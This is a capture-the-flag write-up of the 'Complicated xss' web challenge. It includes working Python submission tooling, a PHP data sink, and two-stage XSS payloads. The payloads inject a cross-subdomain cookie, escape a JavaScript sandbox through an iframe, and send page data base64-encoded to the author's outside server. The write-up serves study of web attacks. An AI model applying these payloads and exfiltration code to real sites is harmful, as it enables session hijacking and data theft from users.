Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.
I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):
import md5
for i in range(0, 0x2000000):
s = "%.8x" % i
print "%s %s" % (md5.md5(s).hexdigest(), s)
Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.
Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:
import httplib
import re
import urllib
import time
PHPSESSID = "164l560708f930f473k1s461a1"
def fetch_substr():
headers = {"Cookie": "PHPSESSID=" + PHPSESSID}
conn = httplib.HTTPConnection("government.vip")
conn.request("GET", "/", "", headers)
r1 = conn.getresponse()
data1 = r1.read()
res = re.search(r"=== '([0-9a-f]+)'\).", data1)
conn.close()
return res.group(1)
def submit_payload(s):
with open("payload.js", "rb") as f:
payload = f.read()
params = urllib.urlencode({
'task': s,
'payload': payload
})
headers = {
"Cookie": "PHPSESSID=" + PHPSESSID,
"Content-type": "application/x-www-form-urlencoded"
}
conn = httplib.HTTPConnection("government.vip")
conn.request("POST", "/run.php", params, headers)
r = conn.getresponse()
data = r.read()
conn.close()
return data
def solution(s):
line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")
with open("md5dump.sorted", "rb") as f:
L = 0
R = 33554432-1
while R - L > 1:
C = L + (R - L) / 2
offset = C * line_len
f.seek(offset)
ln = f.read(line_len).strip()
#print ln
head = ln[:6]
if s == head:
return ln.split(" ")[1]
if s < head:
R = C
continue
L = C
return None
print "Complicated XSS payload sender."
while True:
print "\n------------------ New Stage"
while True:
s = fetch_substr()
print "New substring:", s
st = time.time()
s = solution(s)
en = time.time()
print "Solution:", s, "(in %f sec)" % (en - st)
if s is not None:
break
print "Ready. Press ENTER to fire."
raw_input()
print "Sending payload..."
print "Result:", submit_payload(s)
There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:
<?php
$f = fopen("/tmp/0ctf", "w");
$date = date('Y-m-d H:i:s');
fwrite($f, $date . "\n\n");
if (!isset($_REQUEST['b'])) {
fwrite($f, "---no data---\n");
} else {
$b = $_REQUEST['b'];
$b = str_replace(" ", "+", $b);
fwrite($f, $b . "\n\n---decoded---\n");
fwrite($f, base64_decode($b));
}
fclose($f);
On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.
After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).
The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.
It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.
The admin.government.vip:8000 side for username=test |
Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):
'"><script>
// This script contains pieces of code which I used for
// "looking around" in earlier stages. I'll leave it here
// since someone might find it interesting.
var sendstuff = function(data) {
var http = new XMLHttpRequest();
var url = "http://gynvael.coldwind.pl/0ctf.php";
var params = "b=" + btoa(data);
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);
};
uname = "test<img src=a onerror=k=document.createElement('script'),k.setAttribute('src','http://gynvael.coldwind.pl/0ctfstage2.js'),document.body.appendChild(k)>";
document.cookie = "username="+uname+" ;domain=.government.vip;path=/";
var f = document.createElement("iframe");
f.setAttribute('src', 'http://admin.government.vip:8000/');
f.onload = function () {
/*
try {
//var k = Object.keys(f.contentWindow);
var output = "";
for (var k in f) {
output += k + ": " + f[k] + "\n";
}
sendstuff(output);
} catch (e) {
sendstuff("Error: "+e);
}*/
};
document.body.appendChild(f);
</script>
The XSS payload in the cookie (see the "uname =" line) basically creates a <script> element (in admin.government.vip:8000 context) with src pointing to the second stage javascript file placed somewhere on my servers.
The second stage (admin.government.vip:8000 context) greeted me with a "javascript sandbox":
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.
...
var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");
...
};
document.body.appendChild(f);
...
Leaking the document.body.innerHTML revealed an upload form:
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>
Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:
try {
var xhr = new XMLHttpRequest;
xhr.open("POST", "/upload", true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
sendstuff(xhr.responseText);
}
};
var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");
xhr.send(formData);
} catch (e) {
sendstuff("Error: " + e);
}
In case the screenshot is too small:
# cat /tmp/0ctf
2017-03-18 22:16:31
ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9
---decoded---
flag{xss_is_fun_2333333}
And that's it!
The full stage2 payload follows:
var lamesend = function(data) {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
document.body.appendChild(f);
}
var sendstuff = function(data) {
var http = new XMLHttpRequest();
var url = "http://gynvael.coldwind.pl/0ctf.php";
var params = "b=" + btoa(data);
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);
}
var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");
try {
var xhr = new XMLHttpRequest;
xhr.open("POST", "/upload", true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
sendstuff(xhr.responseText);
}
};
var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");
xhr.send(formData);
} catch (e) {
sendstuff("Error: " + e);
}
};
document.body.appendChild(f);
No comments:
Post a Comment